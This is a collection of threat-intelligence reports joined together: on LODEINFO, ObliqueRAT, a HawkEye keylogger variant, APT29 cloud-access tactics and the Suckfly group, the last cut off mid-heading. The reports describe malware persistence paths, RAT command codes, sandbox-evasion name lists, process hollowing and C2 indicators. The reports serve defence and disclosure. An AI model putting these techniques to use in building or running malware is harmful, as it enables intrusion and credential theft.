C&Cサーバのインフラには、様々な国のISPが利用されています。
## おわりに
マルウエアLODEINFOの開発は頻繁に行われており、同様に攻撃も継続して確認されています。今後もこのマルウエアを使用した攻撃が続く可能性がありますので、引き続き注意が必要です。
なお、今回解説した検体のハッシュ値をAppendix A、新たに確認した通信先をAppendix Bに記載しています。Appendix Bの通信先に対して通信が発生していないかをご確認ください。
### Appendix A 検体のハッシュ値
- 65433fd59c87acb8d55ea4f90a47e07fea86222795d015fe03fba18717700849(v0.3.6)
- 8c062fef5a04f34f4553b5db57cd1a56df8a667260d6ff741f67583aed0d4701(v0.3.5)
- 1cc809788663e6491fce42c758ca3e52e35177b83c6f3d1b3ab0d319a350d77d(v0.3.2)
### Appendix B 通信先
- 103.27.184.27
- 103.140.187.183
- 103.204.172.210
- 133.130.121.44
- 167.179.101.46
- 167.179.112.74
- 172.105.232.89
- 194.68.27.49
- www.amebaoor.net |
# ObliqueRAT: New RAT Hits Victims' Endpoints via Malicious Documents
By Asheer Malhotra
Cisco Talos has observed a malware campaign that utilizes malicious Microsoft Office documents (maldocs) to spread a remote access trojan (RAT) we're calling "ObliqueRAT." These maldocs use malicious macros to deliver the second stage RAT payload. This campaign appears to target organizations in Southeast Asia. Network-based detection, although important, should be combined with endpoint protections to combat this threat and provide multiple layers of security.
## What's New?
Cisco Talos has recently discovered a new campaign distributing a malicious remote access trojan (RAT) family we're calling "ObliqueRAT." Cisco Talos also discovered a link between ObliqueRAT and another campaign from December 2019 distributing CrimsonRAT, sharing similar maldocs and macros. CrimsonRAT has been known to target diplomatic and government organizations in Southeast Asia.
## How Did It Work?
This RAT is dropped to a victim's endpoint using malicious Microsoft Office Documents (maldocs). The maldocs aim to achieve persistence for the second-stage implant that contains a variety of RAT capabilities, which we're calling "ObliqueRAT." In this post, we illustrate the core technical capabilities of the maldocs and the RAT components including:
- The maldocs based infection chain
- A variant distributed using a dropper EXE
- Detailed capabilities and command codes of the RAT implant (2nd stage payload)
- Communication mechanisms used
## So What?
This malware is an example of how a simple, yet effective RAT, is used to implement a wide variety of malicious capabilities. Key capabilities of ObliqueRAT include:
- Ability to execute arbitrary commands on an infected endpoint
- Ability to exfiltrate files
- Ability to drop additional files
- Ability to terminate processes on the infected endpoint
Analysis of a recently discovered preliminary variant of ObliqueRAT in this post presents insights into the evolution of this threat. Analyses of the key similarities and differences between the two campaigns of ObliqueRAT and CrimsonRAT show us the changes in tactics and techniques of the attackers used to continue attacks while trying to bypass detections. This campaign also shows us that while network-based detection is important, it can be complemented with system behavior analysis and endpoint protections for additional layers of security.
## Analysis of Maldocs
### Initial Infection Vector
This threat arrives on the endpoint in the form of malicious Microsoft Word documents. The malicious documents (maldocs) prompt the end-user for a password to view the contents of the maldocs. The malicious VB script in the maldocs is activated once the user enters the correct password for the document. The maldocs have been known to have seemingly benign file names in the wild such as:
- Company-Terms.doc
- DOT_JD_GM.doc
These file names indicate that the maldocs may be targeted towards specific individuals as part of a targeted distribution campaign. The initial infection vector of this threat is most likely email-based with the body of the malicious email containing the password required to open the maldocs.
### Malicious VBA Analysis
Once opened, the maldoc activates a malicious VBA script that performs the following malicious activities:
1. Extracts the contents of a form/textbox.
2. This content consists of an MS Windows binary embedded as a character representation of the binary's bytes delimited using a specific character (e.g., "O" used as a delimiter).
3. The malicious binary is extracted from the maldoc by the VBA script and dropped on the endpoint to the location: `C:\Users\Public\sgrmbrokr.doc`
4. The file is consequently renamed to an exe: `C:\Users\Public\sgrmbrokr.exe`
5. The malicious VBScript then creates a shortcut in the currently logged in user's Start-Up directory to achieve persistence across reboots for the malicious executable (MZ) written to the file system in previous steps. The shortcut created is: `%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\saver.url`
6. Once the shortcut is created, the VBScript stops execution without executing the actual second-stage payload (ObliqueRAT).
### Second-stage Payload Analysis: ObliqueRAT
The second-stage binary (ObliqueRAT) contains the following features:
- RAT capabilities (detailed below)
- Ability to communicate with the command and control server (C2) to obtain command codes and send back executed command outputs
#### Mutex Creation
The RAT ensures that only one instance of its process is running on the infected endpoint at any given time by creating and checking for a mutex named "Oblique." If the named mutex already exists on the endpoint, then the RAT will stop executing until the next login of the infected user account.
#### Gather Initial System Fingerprint
Once the malware has created the named mutex, it attempts to gather an initial fingerprint of the system to identify the system. This information is then sent to the operating C2 to fingerprint the system to decide which commands to send next. Sysinfo gathered by the RAT includes:
- Computer Name
- Current User Account Name
- Windows operating system (OS) version in the form of a textual representation: XP, XP SP2, Vista, 7, 8, 8.1, 10
- OS bitness: 64 bits, 32 bits
- Directory & File Check: A unique feature of the RAT is that it looks for the presence of a specific directory and all files residing inside it. The directory path (folderpath) is hardcoded in the RAT: `C:\ProgramData\System\Dump`. If this directory is present on the infected system, then the RAT sends the keyword "Yes" to its C2 and "No" otherwise.
The sysinfo gathered by the implant is then put together as a single string with the character ">" used as a delimiter.
Format used:
```
_ComputerName_>_UserName_>Windows _version-string_>_implant-name-on-disk_>_OS-bitness_>_Dump_dir_files_exist_>_hardcoded_implant_version_number_>
```
E.g. `DESKTOP-SCOTTPC>jon>Windows 10>sgrmbrokr>64 bits>Yes>5.2>`
Although the implant gathers the system information initially, it only sends this information out if it receives a specific command code from the C2. The implant also performs anti-infection checks before it fully activates itself on the endpoint.
#### Anti-Infection Checks
After gathering the preliminary system information for fingerprinting, the implant performs a series of checks against the user and computer name it has obtained to identify an endpoint or user account it must avoid its execution on/for. If any of the values from its blocklist match the current user/computer name, it simply stops its execution.
The usernames blocklisted by the implant include:
- John
- Test
- Johsnson
- Artifact
- Vince
- Serena
- Lisa
- JOHNSON
- VINCE
- SERENA
A similar check is done for the computer name as well. The list of computer name values blocklisted by the implant includes:
- JOHN
- TEST
The anti-infection checks may have been implemented to avoid successful execution of the implant on a sandbox-based detection system (Anti-Analysis Technique) or to prevent execution of the implant in the attackers' test environment.
### RAT Command Codes and Functionalities
The implant then connects to its C2 server using hardcoded values of its IP Address and Port Number. On connection, the implant receives a command code from the C2 that corresponds to the capability the implant is supposed to execute next on the endpoint. Also, every time the implant receives a command from the C2, it sends back an acknowledgment message to the C2 indicating that it has received the command code. The acknowledgment sent to the C2 is always the keyword "ack."
#### Command Codes
- **Command Code = "5"**: Command Data = `<filename or folderpath>`
This command code is used to find files and record file sizes in KB for files specified by a specific folder or file path.
- **Command Code = "0"**: Command Data = None
Send the already gathered system information (sysinfo) to the C2 server for fingerprinting the infected host.
- **Command Code = "1"**: Command Data = None
This command is aimed to trigger the implant to discover the category of various drives on the endpoint.
- **Command Code = "4"**: Command Data = `<filename>` & `<zip_file_name>`
Create a new ZIP file with the name provided in the `%temp%` directory and add the target file to it.
- **Command Code = "3"**: Command Data = `<foldername>`
Variant of command code "5". The difference here is that the implant accepts only a folder name and recursively calculates the file sizes.
- **Command Code = "7"**: Command Data = `<command_line>`
Execute given command line on the endpoint with a high priority.
- **Command Code = "8"**: Command Data = `<filename>`, `<filesize>` & `<file_contents>`
Write a file sent by the C2 to the infected endpoint.
- **Command Code = "exit"**: Command Data = None
Stop execution of implant on the endpoint without removing persistence from the Start-Up folder.
- **Command Code = "kill"**: Command Data = `<process_name>`
Find all processes by the name specified by the C2 and terminate them.
### RAT (Implant's) Communication Mechanisms
ObliqueRAT utilizes the `ws2_32.dll` library to communicate with its C2. This library is used to implement the core socket libraries supported by MS Windows. Keywords used by the RAT during communication include:
- "ack\0" = Acknowledgment of the command code received as well as an indicator of successful command execution.
- "nak\0" = Indicates failure to execute functionality without providing reason for failure to the C2.
## Variant #0 - ObliqueRAT
Cisco Talos also discovered another variation of the ObliqueRAT attack distributed via a malicious dropper. The malicious dropper contains 2 EXEs embedded in it that will be dropped to disk during execution to complete the infection chain. The initial distribution vector of this dropper is currently unknown.
### Variant #0 Artifacts
- **Dropper EXE**: `4a25e48b8cf515f4cdd6711a69ccc875429dcc32007adb133fb25d63e53e2ac6`
- **ObliqueRAT Variant #0 EXE**: `9da1a55b88bda3810ccd482051dc7e0088e8539ef8da5ddd29c583f593244e1c`
- **Persistence Component EXE**: `ad17ada0171b9e619000902e62b26b949afb01b974a65258e4a7ecd59c248dba`
### Variant #0 Dropper Analysis
The dropper consists of one EXE with another two additional EXEs embedded in it. During execution, the dropper will perform the following activities:
1. If specific file markers exist in the dropper's binary file on disk: (Markers used= "***")
- If the markers exist, then read the data between the markers and write it to files on disk:
- `C:\Users\Public\Video\hrss.exe`
- `C:\Users\Public\Video\lphsi.exe`
- Execute these files using the ShellExecute API.
2. If the markers do not exist, it will package its components into a new copy of itself:
- Look for files named "a.exe" and "b.exe" in the current working directory and read their contents into memory.
- Rename itself (the dropper) to "fin.exe."
- Append to itself (fin.exe) the magic markers specified ("***") and the contents of "a.exe" and "b.exe" thereby completing the packing process.
### ObliqueRAT Component Functionalities (lphsi.exe)
The ObliqueRAT sample dropped by the dropper has the same capabilities as the ObliqueRAT sample discussed above. There is a slight variation though.
### Persistence Module (hrss.exe)
The 2nd EXE (hrss.exe) executed by the dropper is used only to establish persistence for the ObliqueRAT sample (lphsi.exe). This is done by creating a shortcut in the currently logged in user's Start-Up directory to execute ObliqueRAT whenever the user logs into the infected endpoint.
## Related Campaigns: CrimsonRAT vs. ObliqueRAT
The malicious VBA Scripts in the maldocs discovered by Talos semantically resemble a previously observed maldoc distribution campaign (from 2019) delivering another .NET based RAT family popularly known as CrimsonRAT. CrimsonRAT has been known to target organizations in Southeast Asia.
### Similarities Between the Two Campaigns
This CrimsonRAT maldoc, although not password protected (as in the case of the maldocs containing ObliqueRAT), contains the following similarities with respect to the ObliqueRAT maldocs:
- Similar VB variable naming conventions for filenames, folder names, ZIP file names.
- Similar decoding technique for the next stage payload.
### Differences Between the Two Campaigns
- The CrimsonRAT maldocs drop the next stage payload to a ZIP file on the filesystem, while the ObliqueRAT maldocs drop the RAT payload directly to a file.
- The ObliqueRAT maldocs create a shortcut in the infected user's StartUp folder, while the CrimsonRAT maldocs execute the malicious EXE directly.
## Conclusion
This campaign shows a threat actor conducting a targeted distribution of maldocs similar to those utilized in the distribution of CrimsonRAT. However, what stands out here is that the actor is now distributing a new family of RATS. Although it isn't technically sophisticated, ObliqueRAT consists of a plethora of capabilities that can be used to carry out various malicious activities on the infected endpoint. The fact that the maldocs are password protected indicates the attackers' intent to hide the malicious activities of the infection from an analyst. This campaign started in January 2020 and is still ongoing.
## Coverage
Ways our customers can detect and block this threat include:
- Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware detailed in this post.
- Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.
- Email Security can block malicious emails sent by threat actors as part of their campaign.
- Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat.
- Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.
- Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs.
- Additional protections with context to your specific environment and threat data are available from the Firepower Management Center.
- Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
## AMP Detections
AMP detects the ObliqueRAT implants as follows:
- ObliqueRAT AMP detection
- ObliqueRAT variant #0 AMP detection
## Indicators Of Compromise (IOCs)
The following IOCs are related to this threat:
- **ObliqueRAT Maldocs**:
- `057da080ae0983585ae21195bee60d82664355a7fd78c25f21791b165c250212`
- `dfad2a80dac91e7703266197ebbf5d67ef77467ab341dd491ad25d92d8118cac`
- **Dropper (for Variant #0)**:
- `4a25e48b8cf515f4cdd6711a69ccc875429dcc32007adb133fb25d63e53e2ac6`
- **2nd Stage Malicious EXEs**:
- **ObliqueRAT**: `37c7500ed49671fe78bd88afa583bfb59f33d3ee135a577908d633b4e9aa4035`
- **Variant #0**: `9da1a55b88bda3810ccd482051dc7e0088e8539ef8da5ddd29c583f593244e1c`
- **Persistence Component**:
- `ad17ada0171b9e619000902e62b26b949afb01b974a65258e4a7ecd59c248dba`
- **Mutexes Created by 2nd Stage EXEs**:
- "Oblique"
- **C2 IP Addresses and URLs**:
- `185[dot]117.73.222:3344`
- **CrimsonRAT Maldocs**:
- `965b90d435c1676fa78cdce1eee2ec70e3194c0e4f0d993bc36bfd9f77697969`
- **Next Stage Malicious ZIPs & EXEs**:
- `3671b7ed9f67098d2a534673ed9ff46e90c03269c0bdd9b6f39ae462915ecdcb [ZIP]`
- `2911a3da2299817533ca27a0d44c8234fdf9ecd0a285358041da245581673d6f [ZIP]`
- `98894973a86aa01c4f7496ae339dc73b5e6da2f1dbcd5fe1215f70ea7b889b85 [exe]`
- `e436be68cdbdb7ea20e5640ad5fa5eca1da71edb9943c3bde446b4c75dacfbd0 [exe]` |
# Analysis of a New HawkEye Variant
**Threat Analysis by FortiGuard Labs**
## Background
FortiGuard Labs recently captured a malware being spread by a phishing email. After a quick analysis, I discovered that it was a new variant of the HawkEye malware. HawkEye is known as a keylogger and an application credential stealing malware. Over the past few years, we have seen it spread by email and carried in MS Word documents, Excel files, PowerPoint files, and RTF files. In this analysis, I am going to provide an overview of what this new variant can do to a victim’s system.
## Distribution and Download
Here is the email content, masquerading as an airline ticket confirmation, which asks the targeted victim to click on a link. It was designed so that a victim downloads a 7z file from the link that contains this new variant of HawkEye and runs it on the victim’s system. Unfortunately, on initial analysis, the URL was not available, and I received a “404 Not Found” message in the browser. Browsing to its main page, it turned out to be an FTP service, containing several related network folders about this campaign, with most containing the same malware sample.
After the downloaded 7z file was decompressed, we retrieved the EXE file “TICKET%2083992883992AIR8389494VERVED37783PDF.exe,” which is the new variant of HawkEye.
## Start HawkEye
Once HawkEye started, it spawned a suspended child process, “RegAsm.exe,” from the Microsoft .Net framework installation directory – which is a tool for Assembly Registration. Meanwhile, HawkEye extracted a PE file into its memory and then moved the PE file into “RegAsm.exe.” The dynamically extracted PE file is the main program of HawkEye. It’s called “HawkEye_RegAsm,” to differentiate these files in the analysis. HawkEye_RegAsm began running after resuming “RegAsm.exe” after being suspended. HawkEye_RegAsm is a .Net written program, which is packed by ConfuserEx v1.0.0 to protect itself. This creates a big challenge for analysts to read its code and analyze it. The code was actually totally obfuscated.
After sleeping 10 seconds, HawkEye_RegAsm starts its work on the victim’s system. Through analysis so far, it appears to mainly perform the following functions:
1. Set up clipboard logger
2. Set up keyboard logger
3. Spawn another two child processes “vbc.exe,” both from the .Net framework directory as well.
4. Send collected data to an email address using SMTP from time to time (every 10 minutes).
HawkEye_RegAsm starts a thread to perform the above tasks, and then every 10 minutes it sends its collected information to its Yandex email address. HawkEye_RegAsm sets up a clipboard and keyboard logger using Windows-native APIs (such as SetWindowsHookEx, SetClipboardViewer, etc.). Its local functions can record the victim’s behaviors when the victim types on the keyboard as well as when copying data into the system clipboard.
## Collecting Credentials from Saved Credential Storage
HawkEye_RegAsm performs a similar task as to the RegAsm.exe. It spawns two suspended child processes, “vbc.exe,” which are from the same directory as RegAsm.exe. HawkEye dynamically extracts two PE files into its memory, which are then copied into the two newly created child processes of “vbc.exe.” It also modifies its ThreadContext data (It calls the API, SetThreadContext) and makes its entry point to the transferred PE file. When “vbc.exe” resumes running, it can be executed. It’s a trick that malware often performs to camouflage itself behind a normal process.
The two “vbc.exe” processes collect credentials from the victim’s system. One is used to collect the credentials of browsers. The other one focuses on email clients and IM clients to steal credentials and profiles. Both PE files injected into “vbc.exe” have the same code framework. They first call a function to collect credentials and save them in memory, and second, it reads the collected data, formats it, and saves it to a tmp file from its command line parameter.
The two PE files are not packer protected and not .Net written programs. The first “vbc.exe” collects credentials from the victim’s browsers and the system credential manager for IE. In my analysis, this variant of HawkEye focuses on the following browsers: Microsoft Internet Explorer, Google Chrome, Apple Safari, Opera, Mozilla Sunbird, Mozilla Firefox, Mozilla Portable Thunderbird, Mozilla SeaMonkey, YandexBrowser, Vivaldi browser, and more.
The collected credentials are then saved into the tmp file from its command line parameter. HawkEye_RegAsm keeps checking this tmp file, and once the credentials are collected, it is done. HawkEye_RegAsm then reads the entire data of this tmp file into its memory and deletes it immediately.
The second PE file in “vbc.exe” collects profile and credential information of the email and IM software client installed on a victim’s machine. The clients it targets are: Qualcomm Eudora, Mozilla Thunderbird, MS Office Outlook, IncrediMail, Groupmail, MSN Messenger, Yahoo! Pager/Yahoo! Messenger, and Windows Mail.
Below is an example list that HawkEye stole from the Chrome browser on my test machine. As you can see, it includes login URL, Browser name, User name, Password, Created time, and the full path of the file where the collected information came from.
The second PE file in “vbc.exe” not only collects the client’s login username and password, but also profile information, such as the recipient Server address, recipient Server Port, protocol Type (POP3), SMTP Server, SMTP Port, etc. On my test machine, I only installed MS Outlook with one account. My test account and server profile were collected and put in the structure shown below, which would normally be sent to the attacker’s email box.
## Sending Collected Data to the Attacker via SMTP
Now let’s go back to the main process of HawkEye_RegAsm, which controls all tasks of HawkEye and sends the victim’s credentials. In its main program, it calls Thread.Sleep(600000), and pauses while collecting credentials every 10 minutes. That is, it reports the collected data to the attacker once every 10 minutes.
It first sends an HTTP request to ask for my machine’s public IP. This is a way to ensure that the victim’s machine is able to access the internet. If it did not reply with a public IP, it stops sending collected data to the email box. In addition, the IP appears in the email subject so it can identify victims. The attacker’s email is in Yandex.mail, whose email account and password are used when sending collected data through the Yandex SMTP server.
Every ten minutes it sends packets to tell the attacker about what it has collected from the victim’s machine using the keylogger, clipboard, browser credentials, and IM and email client credentials and profiles.
## Solutions
The original URL in the email has been rated as “Malicious Websites“ by the FortiGuard Web Filtering service. The decompressed exe file is detected as “AutoIt/Injector.EAH!tr” by the FortiGuard Antivirus service.
**Sample SHA256**
- [TICKET%2083992883992AIR8389494VERVED37783PDF.exe] 3E7AD2A554F89B2A5E52E5C4843111342182DA4409A038CF800570B65A13F875
- [Ticketmasterconfirmation3883948383948394.7z] BBB46F812126FAEB543B02D143EF450887A043185AF98210D8F827924B31CF7A
- [TKT8839483993993fligh booking ticket confirmationupdate.7z] F2B921726D728037F9BA0C63FB6C31F77983C3A6E3938B46C411E80C218A2E84 |
# Advisory: SVR Cyber Actors Adapt Tactics for Initial Cloud Access
**February 2024**
© Crown Copyright 2024
## Overview
This advisory details recent tactics, techniques, and procedures (TTPs) of the group commonly known as APT29, also known as Midnight Blizzard, the Dukes, or Cozy Bear. The UK National Cyber Security Centre (NCSC) and international partners assess that APT29 is a cyber espionage group, almost certainly part of the SVR, an element of the Russian intelligence services. The US National Security Agency (NSA), the US Cybersecurity and Infrastructure Security Agency (CISA), the US Cyber National Mission Force (CNMF), the Federal Bureau of Investigation (FBI), Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC), the Canadian Centre for Cyber Security (CCCS), and the New Zealand National Cyber Security Centre (NCSC) agree with this attribution and the details provided in this advisory.
This advisory provides an overview of TTPs deployed by the actor to gain initial access into the cloud environment and includes advice to detect and mitigate this activity.
## Previous Actor Activity
The NCSC has previously detailed how Russian Foreign Intelligence Service (SVR) cyber actors have targeted governmental, think tank, healthcare, and energy targets for intelligence gain. It has now observed SVR actors expanding their targeting to include aviation, education, law enforcement, local and state councils, government financial departments, and military organizations. SVR actors are also known for:
- The supply chain compromise of SolarWinds software
- Activity that targeted organizations developing the COVID-19 vaccine
## Evolving TTPs
As organizations continue to modernize their systems and move to cloud-based infrastructure, the SVR has adapted to these changes in the operating environment. They have moved beyond their traditional means of initial access, such as exploiting software vulnerabilities in an on-premise network, and instead target the cloud services themselves. To access the majority of the victims’ cloud-hosted network, actors must first successfully authenticate to the cloud provider. Denying initial access to the cloud environment can prohibit SVR from successfully compromising their target. In contrast, in an on-premise system, more of the network is typically exposed to threat actors.
Below describes in more detail how SVR actors are adapting to continue their cyber operations for intelligence gain. These TTPs have been observed in the last 12 months.
### Access via Service and Dormant Accounts
Previous SVR campaigns reveal the actors have successfully used brute forcing (T1110) and password spraying to access service accounts. This type of account is typically used to run and manage applications and services. There is no human user behind them, so they cannot be easily protected with multi-factor authentication (MFA), making these accounts more susceptible to a successful compromise. Service accounts are often also highly privileged depending on which applications and services they’re responsible for managing. Gaining access to these accounts provides threat actors with privileged initial access to a network to launch further operations. SVR campaigns have also targeted dormant accounts belonging to users who no longer work at a victim organization but whose accounts remain on the system (T1078.004). Following an enforced password reset for all users during an incident, SVR actors have also been observed logging into inactive accounts and following instructions to reset the password. This has allowed the actor to regain access following incident response eviction activities.
### Cloud-Based Token Authentication
Account access is typically authenticated by either username and password credentials or system-issued access tokens. The NCSC and partners have observed SVR actors using tokens to access their victims’ accounts without needing a password (T1528). The default validity time of system-issued tokens varies depending on the system; however, cloud platforms should allow administrators to adjust the validity time as appropriate for their users.
### Enrolling New Devices to the Cloud
On multiple occasions, the SVR has successfully bypassed password authentication on personal accounts using password spraying and credential reuse. SVR actors have also bypassed MFA through a technique known as ‘MFA bombing’ or ‘MFA fatigue’, in which the actors repeatedly push MFA requests to a victim’s device until the victim accepts the notification (T1621). Once an actor has bypassed these systems to gain access to the cloud environment, SVR actors have been observed registering their own device as a new device on the cloud tenant (T1098.005). If device validation rules are not set up, SVR actors can successfully register their own device and gain access to the network. By configuring the network with device enrollment policies, there have been instances where these measures have defended against SVR actors and denied them access to the cloud tenant.
### Residential Proxies
As network-level defenses improve detection of suspicious activity, SVR actors have looked at other ways to stay covert on the internet. A TTP associated with this actor is the use of residential proxies (T1090.002). Residential proxies typically make traffic appear to originate from IP addresses within internet service provider (ISP) ranges used for residential broadband customers and hide the true source. This can make it harder to distinguish malicious connections from typical users. This reduces the effectiveness of network defenses that use IP addresses as indicators of compromise, and so it is important to consider a variety of information sources such as application and host-based logging for detecting suspicious activity.
## Conclusion
The SVR is a sophisticated actor capable of carrying out a global supply chain compromise such as the 2020 SolarWinds incident; however, the guidance in this advisory shows that a strong baseline of cybersecurity fundamentals can help defend against such actors. For organizations that have moved to cloud infrastructure, a first line of defense against an actor such as SVR should be to protect against SVR’s TTPs for initial access. By following the mitigations outlined in this advisory, organizations will be in a stronger position to defend against this threat. Once the SVR gains initial access, the actor is capable of deploying highly sophisticated post-compromise capabilities such as MagicWeb, as reported in 2022. Therefore, mitigating against the SVR’s initial access vectors is particularly important for network defenders.
CISA has also produced guidance through their Secure Cloud Business Applications (SCuBA) Project, which is designed to protect assets stored in cloud environments. Some of the TTPs listed in this report, such as residential proxies and exploitation of system accounts, are similar to those reported as recently as January 2024 by Microsoft.
## MITRE ATT&CK®
This report has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.
| Tactic | ID | Technique | Procedure |
|-------------------------|----------------|-------------------------------------|---------------------------------------------------------------------------|
| Credential Access | T1110 | Brute forcing | The SVR use password spraying and brute forcing as an initial infection vector. |
| Initial Access | T1078.004 | Valid Accounts: Cloud Accounts | The SVR use compromised accounts credentials to gain access to accounts for cloud services, including system and dormant accounts. |
| Credential Access | T1528 | Steal Application Access Token | The SVR use stolen access tokens to login to accounts without the need for passwords. |
| Credential Access | T1621 | Multi-Factor Authentication Request Generation | The SVR repeatedly push MFA requests to a victim’s device until the victim accepts the notification, providing SVR access to the account. |
| Command and Control | T1090.002 | Proxy: External Proxy | The SVR use open proxies in residential IP ranges to blend in with expected IP address pools in access logs. |
| Persistence | T1098.005 | Account Manipulation: Device Registration | The SVR attempt to register their own device on the cloud tenant after acquiring access to accounts. |
## Mitigation and Detection
A number of mitigations will be useful in defending against the activity described in this advisory:
- Use multi-factor authentication (2FA) to reduce the impact of password compromises.
- Accounts that cannot use 2FA should have strong, unique passwords. User and system accounts should be disabled when no longer required, with a ‘joiners, movers, and leavers’ process in place and regular reviews to identify and disable inactive/dormant accounts.
- System and service accounts should implement the principle of least privilege, providing tightly scoped access to resources required for the service to function.
- Canary service accounts should be created which appear to be valid service accounts but are never used by legitimate services. Monitoring and alerting on the use of these accounts provides a high confidence signal that they are being used illegitimately and should be investigated urgently.
- Session lifetimes should be kept as short as practical to reduce the window of opportunity for an adversary to use stolen session tokens. This should be paired with a suitable authentication method that strikes a balance between regular user authentication and user experience.
- Ensure device enrollment policies are configured to only permit authorized devices to enroll. Use zero-touch enrollment where possible, or if self-enrollment is required, then use a strong form of 2FA that is resistant to phishing and prompt bombing. Old devices should be prevented from re-enrolling when no longer required.
- Consider a variety of information sources such as application events and host-based logs to help prevent, detect, and investigate potential malicious behavior. Focus on the information sources and indicators of compromise that have a better rate of false positives. For example, looking for changes to user agent strings that could indicate session hijacking may be more effective than trying to identify connections from suspicious IP addresses.
## Disclaimer
This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks, and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation. Refer any FOIA queries to [email protected]. All material is UK Crown Copyright ©. |
# Endpoint Protection
View the indicators of compromise for this attack group.
Many security-minded organizations utilize code signing to provide an additional layer of security and authenticity for their software and files. Code signing is carried out using a type of digital certificate known as a code-signing certificate. The process of code signing validates the authenticity of legitimate software by confirming that an application is from the organization who signed it. While code-signing certificates can offer more security, they can also live an unintended secret life providing cover for attack groups, such as the Suckfly APT group.
In late 2015, Symantec identified suspicious activity involving a hacking tool used in a malicious manner against one of our customers. Normally, this is considered a low-level alert easily defeated by security software. In this case, however, the hacktool had an unusual characteristic not typically seen with this type of file; it was signed with a valid code-signing certificate. Many hacktools are made for less than ethical purposes and are freely available, so this was an initial red flag, which led us to investigate further.
As our investigation continued, we soon realized this was much larger than a few hacktools. We discovered Suckfly, an advanced threat group, conducting targeted attacks using multiple stolen certificates, as well as hacktools and custom malware. The group had obtained the certificates through pre-attack operations before commencing targeted attacks against a number of government and commercial organizations spread across multiple continents over a two-year period. This type of activity and the malicious use of stolen certificates emphasizes the importance of safeguarding certificates to prevent them from being used maliciously.
## An appetite for stolen code-signing certificates
Suckfly has a number of hacktools and malware varieties at its disposal. The first signed hacktool we identified in late 2015 was a digitally signed brute-force server message block (SMB) scanner. The organization associated with this certificate is a South Korean mobile software developer. While we became initially curious because the hacktool was signed, we became more suspicious when we realized a mobile software developer had signed it, since this is not the type of software typically associated with a mobile application.
Based on this discovery, we began to look for other binaries signed with the South Korean mobile software developer's certificate. This led to the discovery of three additional hacktools also signed using this certificate. In addition to being signed with a stolen certificate, the identified hacktools had been used in suspicious activity against a US-based health provider operating in India. This evidence indicates that the certificate’s rightful owner either misused it or it had been stolen from them. Symantec worked with the certificate owner to confirm that the hacktool was not associated with them.
Following the trail further, we traced malicious traffic back to where it originated from and looked for additional evidence to indicate that the attacker persistently used the same infrastructure. We discovered the activity originated from three separate IP addresses, all located in Chengdu, China.
In addition to the traffic originating from Chengdu, we identified a selection of hacktools and malware signed using nine stolen certificates. The nine stolen certificates originated from nine different companies who are physically located close together around the central districts of Seoul, South Korea. While we do not know the exact circumstances of how the certificates were stolen, the most likely scenario was that the companies were breached with malware that had the ability to search for and extract certificates from within the organization. We have seen this capability built into a wide range of threats for a number of years now.
The organizations who owned the stolen certificates were from four industries.
## A timeline of misuse
We don't know the exact date Suckfly stole the certificates from the South Korean organizations. However, by analyzing the dates when we first saw the certificates paired with hacktools or malware, we can gain insight into when the certificates may have been stolen. The first sighting of three of the nine stolen certificates being used maliciously occurred in early 2014. Those three certificates were the only ones used in 2014, making it likely that the other six were not compromised until 2015. All nine certificates were used maliciously in 2015.
Based on the data, the first certificates used belonged to Company A (educational software developer) and Company B (video game developer #2). Company A's certificate was used for over a year, from April 2014 until June 2015, and Company B's certificate was used for almost a year, from July 2014 until June 2015. When we discovered this activity, neither company was aware that their certificates had been stolen or how they were being used. Since the companies were unaware of the activity, neither stolen certificate had been revoked.
## Signed, sealed, and delivered
As noted earlier, the stolen certificates Symantec identified in this investigation were used to sign both hacking tools and malware. Further analysis of the malware identified what looks like a custom back door. We believe Suckfly specifically developed the back door for use in cyberespionage campaigns. Symantec detects this threat as Backdoor.Nidiran.
Analysis of Nidiran samples determined that the back door had been updated three times since early 2014, which fits the timeline outlined. The modifications were minor and likely performed to add capabilities and avoid detection. While the malware is custom, it only provides the attackers with standard back door capabilities.
Suckfly delivered Nidiran through a strategic web compromise. Specifically, the threat group used a specially crafted web page to deliver an exploit for the Microsoft Windows OLE Remote Code Execution Vulnerability (CVE-2014-6332), which affects specific versions of Microsoft Windows. This exploit is triggered when a potential victim browses to a malicious page using Internet Explorer, which can allow the attacker to execute code with the same privileges as the currently logged-in user.
Once exploit has been achieved, Nidiran is delivered through a self-extracting executable that extracts the components to a .tmp folder after it has been executed. The threat then executes “svchost.exe”, a PE file, which is actually a clean tool known as OLEVIEW.EXE. The executable will then load iviewers.dll, which is normally a clean, legitimate file. Attackers have been known to distribute malicious files masquerading as the legitimate iviewers.dll file and then use DLL load hijacking to execute the malicious code and infect the computer. This technique is associated with the Korplug/Plug-x malware and is frequently used in China-based cyberespionage activity.
## High demand for code-signing certificates
Suckfly isn’t the only attack group to use certificates to sign malware but they may be the most prolific collectors of them. After all, Stuxnet, widely regarded as the world’s first known cyberweapon, was signed using stolen certificates from companies based in Taiwan with dates much earlier than Suckfly. Other cyberespionage groups, including Black Vine and Hidden Lynx, have also used stolen certificates in their campaigns.
In April 2013, a third-party vendor published a report about a cyberespionage group using custom malware and stolen certificates in their operations. The report documented an advanced threat group they attributed to China. Symantec tracks the group behind this activity as Blackfly and detects the malware they use as Backdoor.Winnti.
The Blackfly attacks share some similarities with the more recent Suckfly attacks. Blackfly began with a campaign to steal certificates, which were later used to sign malware used in targeted attacks. The certificates Blackfly stole were also from South Korean companies, primarily in the video game and software development industry. Another similarity is that Suckfly stole a certificate from Company D less than two years after Blackfly had stolen a certificate from the same company. While the stolen certificates were different, and stolen in separate instances, they were both used with custom malware in targeted attacks originating from China.
## Why do attackers want signed malware?
